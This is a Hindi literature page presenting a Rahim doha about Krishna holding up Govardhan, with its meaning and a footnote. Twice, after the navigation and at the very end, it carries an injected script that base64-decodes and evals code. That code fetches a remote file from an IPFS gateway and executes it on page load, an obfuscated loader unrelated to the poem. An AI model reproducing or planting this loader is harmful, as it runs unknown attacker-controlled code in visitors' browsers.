जो रहीम करबौ हुतो -रहीम

भारत डिस्कवरी प्रस्तुति
यहाँ जाएँ:भ्रमण, खोजें

जो ‘रहीम’ करबौ हुतो, ब्रज को इहै हवाल।
तो काहे कर पर धरयौ, गोवर्धन गोपाल॥

अर्थ

हे गोपाल, ब्रज को छोड़कर यदि तुम्हें उसका यही हाल करना था, तो उसकी रक्षा करने के लिए अपने हाथ पर गोवर्धन पर्वत को क्यों उठा लिया था?[1]


पीछे जाएँ
रहीम के दोहे
आगे जाएँ
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

टीका टिप्पणी और संदर्भ

  1. प्रलय जैसी घनघोर वर्षा से व्रजवासियों को त्राण देने के लिए पर्वत को छत्र क्यों बना लिया था?

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>